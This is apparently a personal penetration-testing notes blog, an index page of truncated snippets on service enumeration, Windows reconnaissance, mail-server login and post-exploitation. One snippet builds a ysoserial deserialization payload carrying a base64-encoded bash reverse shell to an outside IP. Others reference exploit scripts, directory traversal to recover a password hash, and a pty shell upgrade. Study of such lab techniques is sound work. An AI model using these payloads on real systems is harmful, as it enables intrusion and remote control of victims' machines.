akde/infosec

Information security is ultimately about managing risk


  • IKE is used on VPN servers on UDP 500. Test a serv­er with ike-scan -M $target Exam­ple output: SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080) Ending ike-scan 1.9.4: 1 hosts scanned in 0.039 seconds (25.32 hosts/sec). 1 returned handshake; 0 returned notify PSK means that a pre­shared key is used. 1 returned hand­shake, 0, returned noti­fy means that…


  • What to do if all ports seemed to be closed? Open Wire­shark and mon­i­tor it dur­ing a full TCP scan Scan also all UDP ports Fil­ter in Wire­shark where the tar­get con­nect­ed back to you. Port knock­ing? Can you trig­ger the serv­er via a third-party?  Or does it change a behviour time-based?


  • Enumeration See Ora­cle article


  • If you can pro­vide a seri­al­ized (.ser) file, try to cre­ate a pay­load direct­ly, if you have the source code, or just use a yose­r­i­al payload. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 4 192.168.49.175" > /tmp/recycler.ser // Prepare a reverse shell command line an transform it into b64. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ5LjE3NS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"…


  • File and directory integrity levels C:\Users\User>icacls hallo hallo NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) WINDEV2012EVAL\User:(I)(F) Mandatory Label\High Mandatory Level:(NW) (I)(F) means that the cor­re­spond­ing user or group has (F) Full per­mis­sion on the file and that the per­mis­sions are inher­it­ed from the par­ent = directory. Note that the Read right ® also enables exe­cu­tion on that file! (There…


  • Should exploit /tmp/18650.py not work, use svwar ‑m INVITE ‑e100-500 10.10.10.7 to deter­mine the prop­er exten­sion id.


  • Pen­testers love 0days and cool exploits. “There are FAR more mis­con­fig­u­ra­tions than vulns.” “Vulns will be detect­ed and patch­es by Nes­sus, Nex­pose, etc.” “Mis­con­fig­u­ra­tions typ­i­cal­ly are missed by scanners.” “You want to increase secu­ri­ty? Go to your boss and change the job descrip­tions of admins to include con­fi­den­tial­ty and integri­ty. That mat­ters more than any­thing else.” “If you…


  • Various Show who else is logged in. qwinsta Open the Event View­er and search in the looks. Have fun! Network enumeration Show the net­work con­fig­u­ra­tion. Are there mul­ti­ple interfaces? ipconfig /all Rout­ing information route print Show cur­rent net­work con­nec­tions. After check­ing this com­mand: CHECK all ports with the pre­vi­ous found ones! netstat -ano Check the ARP cache…


  • Deter­mine if the sys­tem has the WSL with bash: where /R C:\windows bash.exe If bash.exe is there and the WSL is run­ning, then com­mands can be run as root (!) like: C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.19041.423_none_1da742a41b53e164\bash.exe whoami Install the WSL To install the WSL, a sys­tem shell is required unfor­tu­natel­ly. See this arti­cle for instal­la­tion.


  • Ver­sion 8 has an inter­est­ing vulnerability. Direc­to­ry tra­ver­sal with multiple/remote/14641.py reveals a SHA1 pass­word hash. In the pub­licly avail­able login page, the salt can be accessed and added to the hash:console.log(hex_hmac_sha1(document.loginform.salt.value, ‘2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03’));


  • Dumpzilla Extracts the con­tent of a pro­file directory. Down­load the pro­file directory. See what we have:dumpzilla 84p8ofq6.default --Summary Use the mod­ules to see details.


  • Enumeration Mandatory Enu­mer­ate with nmapnmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 6697 $target Con­nect and get ver­sion infor­ma­tiontelnet $target 6697USER duperuser4242 0 * duperuser4242NICK duperuser4242VERSIONINFOHELP Optional


  • Exam­ple: # telnet $target 110 Trying 10.10.10.51… Connected to 10.10.10.51. Escape character is '^]'. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER mindy +OK PASS root +OK Welcome mindy LIST +OK 2 1945 1 1109 2 836 . RETR 1 +OK Message follows ...


  • Enumeration Mandatory Grab ban­nertelnet $target 119 Enu­mer­ate with nmapnmap -p 119 --script nntp-ntlm-info $target Optional


  • Enumeration Mandatory Grab ban­nertelnet $target 110openssl s_client -connect $target:995 -crlf -quiet In case of issues, see the openssl arti­cle. Search for exploits. If you have cre­den­tials, log in and read the emails. Optional


  • Login Bevor login, con­vert user­name and pass­word into base64. (!) Use tel­net — nc some­times does not work and does not return the server’s response! HELO mynameAUTH LOGINcm9vdAo= // username in base64334 Server reponds with base64 stringcm9vdAo= // password in base64235 ok // success


  • See SMTP article


  • Shows all process in a wide con­soleps auxww sudo = doas


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';